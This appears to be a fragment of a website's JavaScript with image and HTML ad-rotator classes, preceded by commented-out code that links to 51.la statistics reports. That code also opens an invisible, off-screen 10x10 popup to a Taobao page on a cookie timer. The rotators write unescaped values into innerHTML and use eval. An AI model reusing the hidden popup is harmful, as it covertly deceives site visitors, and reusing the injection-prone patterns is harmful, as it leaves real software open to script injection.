//    var todayString = now.getFullYear() + "-" + (now.getMonth() + 1) + "-" + now.getDate();
//    var fromLink = '<a target="_blank" href="http://www.51.la/report/3_Lailu.asp?id=216577&d1=' + todayString 
//                 + '&d2=' + todayString + '">来路链接</a>';
//    document.write(fromLink);
//    document.write(" ");
//    var keywordLink = '<a target="_blank" href="http://www.51.la/report/3_Keyword.asp?id=216577&d1=' + todayString
//                    + '&d2=' + todayString + '">搜索关键字</a>';
//    document.write(keywordLink);
//    document.write(' <a target="_blank" href="http://www.51.la/report/3_last.asp?id=216577">访问明细</a> '
//        + '<a target="_blank" href="http://www.51.la/report/3_Online.asp?id=216577" style="font-weight: bold">'
//        + '在线用户</a> <a target="_blank" href="http://www.51.la/report/1_Main.asp?id=216577">网站概况</a> '
//        
//        + '<script language="javascript" type="text/javascript" src="http://js.users.51.la/216577.js"></script>');
//    ShowAlimamaIframe();
}
//function ShowAlimamaIframe()
//{
//    var name = "alimama_iframe";
//    var cookie = GetCookie(name);
////    cookie = null;
//    if (cookie == null)
//    { 
//        var expires = new Date();
//        expires.setTime(expires.getTime() + 6 * 60 * 60 * 1000); //加多1小时
////        alert(new Date().toLocaleString() + " \r\n" + expires.toLocaleString());
//        SetCookie(name, "1", expires);
//        
//        var url = "http://search8.taobao.com/browse/cat-0-g,nvwv6mjqga2domzsgjptaxzq.htm";
//        var win = window.open(url, "taobao_new", 'height=10,width=10,top=1000000,left=0', false);
//    }
//}
/* 轮换广告 ******************** ******************************** */
function AD(text, imageSrc, url)
{
    this.Text = text;
    this.ImageSrc = imageSrc;
    this.Url = url;
    this.Html = "";
}

function Rotator(container, varName, interval, textClass, backColor, currentIndexClass, indexClass)
{
    this.Container = container;
    this.DataSource = new Array();
    this.CurrentIndex = this.DataSource.Length - 1;
    this.VarName = varName;
    this.TextClass = textClass;
    this.CurrentIndexClass = currentIndexClass;
    this.IndexClass = indexClass;
    this.Inited = false;
    this.TimerID = null;
    this.Interval = interval;

    this.Add = function(ad)
    {
        this.DataSource.push(ad);
    }

    this.Init = function()
    {
        var imageHtml = "";
        var indexHtml = "";
        for (var i = 0; i < this.DataSource.length; i++)
        {
            var ad = this.DataSource[i];

            var temp;
            if (ad.Html == "")
            {
                temp = "<div id='ad{2}' style='display:none'>"
                 + "<a href='{0}' target='_blank'><img style='border:none' onmouseover='{3}' onmouseout='{4}'"
                 + " src='{1}' title='{5}' /></a></div>";
            } else
            {
                temp = "<div id='ad{2}' style='display:none'>"
                 + "<div onmouseover='{3}' onmouseout='{4}' title='{5}'>{6}</div>"
                 + "</div>";
            }
            imageHtml += temp.Format(ad.Url,
                    ad.ImageSrc,
                    i.toString(),
                    this.VarName + ".Pause()",
                    this.VarName + ".Restart()",
                    ad.Text,
                    ad.Html);

            temp = "<span class='{1}' onmouseover='{2}' onmouseout='{3}'"
                 + " onclick='location=\"{4}\"' title='{5}'>{0}</span>";
            indexHtml += temp.Format((i + 1),
                        this.IndexClass,
                        this.VarName + ".Pause();" + this.VarName + ".Show(" + i + ")",
                        this.VarName + ".Restart()",
                        ad.Url,
                        ad.Text);
        }

        var html = "<div style='width:100%;'>" + imageHtml + "</div>" //图片 
             + "<div style='width:100%;background-color:" + backColor + "'>" //下面是显示文本和索引
             + "<div style='float:left;width:40%'></div>" //左边文本
             + "<div style='float:right;width:60%;text-align:right;text-align:right'>"
             + indexHtml + "</div>"//右边索引
             + "</div>";
        this.Container.innerHTML = "";
        this.Container.innerHTML = html;
    }

    this.Show = function(index)
    {
        //显示当前图片
        var nodes = this.Container.firstChild.childNodes;
        for (var i = 0; i < nodes.length; i++)
        {
            nodes[i].style.display = "none";
        }
        nodes[index].style.display = "block";

        //显示当前索引
        nodes = this.Container.lastChild.lastChild.childNodes;
        for (var i = 0; i < nodes.length; i++)
        {
            nodes[i].className = this.IndexClass;
        }
        nodes[index].className = this.CurrentIndexClass;

        //显示当前文本
        this.Container.lastChild.firstChild.innerHTML
        = "<a href='{0}' target='_blank' class='{2}'>{1}</a>".Format(
            this.DataSource[index].Url,
            this.DataSource[index].Text,
            this.TextClass);

        this.CurrentIndex = index;
    }
    this.Start = function()
    {
        if (this.Inited == false)
        {
            this.Init();
            this.Inited = true;
        }

        var nodes = this.Container.firstChild.childNodes;
        if (this.CurrentIndex < nodes.length - 1) this.CurrentIndex++;
        else this.CurrentIndex = 0;

        this.Show(this.CurrentIndex);

        this.Restart();
    }
    this.Restart = function()
    {
        this.TimerID = setTimeout(this.VarName + ".Start()", this.Interval);
    }
    this.Pause = function()
    {
        clearTimeout(this.TimerID);
    }
}
/* HtmlRotator ******************** ******************************** */
function HtmlRotator(adContainerID, textContainerID, indexContainerID, varName, interval, currentIndexClass, indexClass)
{
    this.AdContainer = document.getElementById(adContainerID);
    this.TextContainer = document.getElementById(textContainerID);
    this.IndexContainer = document.getElementById(indexContainerID);
    this.CurrentIndex = this.AdContainer.childNodes.Length - 1;
    this.VarName = varName;
    this.CurrentIndexClass = currentIndexClass;
    this.IndexClass = indexClass;
    this.Inited = false;
    this.TimerID = null;
    this.Interval = interval;

    this.Init = function()
    {
        var indexHtml = "";

        for (var i = 0; i < this.AdContainer.childNodes.length; i++)
        {
            var div = this.AdContainer.childNodes[i];
            div.style.display = "none";
            div.onmouseover = function() { eval(varName + ".Pause()"); }
            div.onmouseout = function() { eval(varName + ".Restart()"); }

            div.lastChild.style.display = "none";

            var link = this.GetLink(div);

            var temp;
            temp = "<span class='{1}' onmouseover='{2}' onmouseout='{3}'"
                 + " onclick='location=\"{4}\"' title='{5}'>{0}</span>";
            indexHtml += temp.Format((i + 1),
                        this.IndexClass,
                        this.VarName + ".Pause();" + this.VarName + ".Show(" + i + ")",
                        this.VarName + ".Restart()",
                        link.href,
                        link.innerHTML);
            this.IndexContainer.innerHTML = indexHtml;
        }
    }
    this.Show = function(index)
    {
        //显示当前图片
        var nodes = this.AdContainer.childNodes
        for (var i = 0; i < nodes.length; i++)
        {
            nodes[i].style.display = "none";
        }
        nodes[index].style.display = "block";
        var link = this.GetLink(nodes[index]);

        //显示当前索引
        nodes = this.IndexContainer.childNodes;
        for (var i = 0; i < nodes.length; i++)
        {
            nodes[i].className = this.IndexClass;
        }
        nodes[index].className = this.CurrentIndexClass;


        //显示当前文本
        if (link == null)
        {
            this.TextContainer.innerHTML = "";
        } else
        {
            this.TextContainer.innerHTML
            = "<a href='{0}' target='_blank' class='{2}'>{1}</a>".Format(
            link.href,
            link.innerHTML,
            this.TextClass);
        }

        this.CurrentIndex = index;
    }
    this.GetLink = function(node)
    {
        if (node.childNodes.length < 2)
            return null;

        var div = node.lastChild;
        return div.firstChild;

    }
    this.Start = function()
    {
        if (this.Inited == false)
        {
            this.Init();
            this.Inited = true;
        }

        var nodes = this.AdContainer.childNodes;
        if (this.CurrentIndex < nodes.length - 1) this.CurrentIndex++;
        else this.CurrentIndex = 0;

        this.Show(this.CurrentIndex);

        this.Restart();
    }
    this.Restart = function()
    {
        this.TimerID = setTimeout(this.VarName + ".Start()", this.Interval);
    }
    this.Pause = function()
    {
        clearTimeout(this.TimerID);
    }
}